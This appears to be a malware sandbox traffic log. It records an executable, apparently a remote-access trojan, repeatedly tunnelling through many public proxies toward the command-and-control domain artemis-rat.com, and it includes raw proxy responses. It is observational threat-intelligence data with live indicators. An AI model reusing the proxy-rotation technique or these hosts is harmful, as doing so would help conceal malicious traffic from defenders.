Mar 11, 2024 03:30:41.115808010 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.5	52512	43.134.164.175	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.122780085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
885	192.168.2.5	52513	43.134.164.175	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.124351025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
886	192.168.2.5	52514	43.134.164.175	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.126228094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
887	192.168.2.5	52402	120.76.42.209	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.127859116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.456298113 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
888	192.168.2.5	52515	43.134.164.175	443	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.128067017 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
889	192.168.2.5	52390	103.118.44.61	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.142143965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
890	192.168.2.5	52401	58.234.116.197	8197	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.197632074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
891	192.168.2.5	52403	79.119.155.63	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.198849916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
892	192.168.2.5	52404	31.43.158.108	8888	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.239964008 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
893	192.168.2.5	51855	51.145.176.250	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.242924929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.544563055 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
894	192.168.2.5	52456	172.67.181.58	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.244400978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.398916960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
895	192.168.2.5	52457	104.16.108.149	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.244612932 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.398857117 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
896	192.168.2.5	52406	58.234.116.197	8193	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.247528076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
897	192.168.2.5	52486	45.14.174.148	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.284059048 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.438425064 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
898	192.168.2.5	52414	146.19.106.217	12334	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.284425974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
899	192.168.2.5	52465	54.67.125.45	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.284425974 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.458309889 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:41 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
900	192.168.2.5	51936	51.222.241.157	27206	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.286364079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.311305046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.423872948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:53.514415026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
901	192.168.2.5	50317	177.242.201.5	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.287204027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.544353008 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
902	192.168.2.5	52424	38.162.13.27	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.287358999 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:43.698286057 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
903	192.168.2.5	52511	66.225.246.238	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.288119078 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.449884892 CET	731	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Mar 11, 2024 03:30:41.892338991 CET	731	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.22.1 Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.22.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
904	192.168.2.5	52407	181.12.80.21	12000	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.288368940 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
905	192.168.2.5	52529	104.19.83.128	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.292901993 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.447041035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:41 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
906	192.168.2.5	50234	51.158.77.220	16379	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:41.294285059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.405044079 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
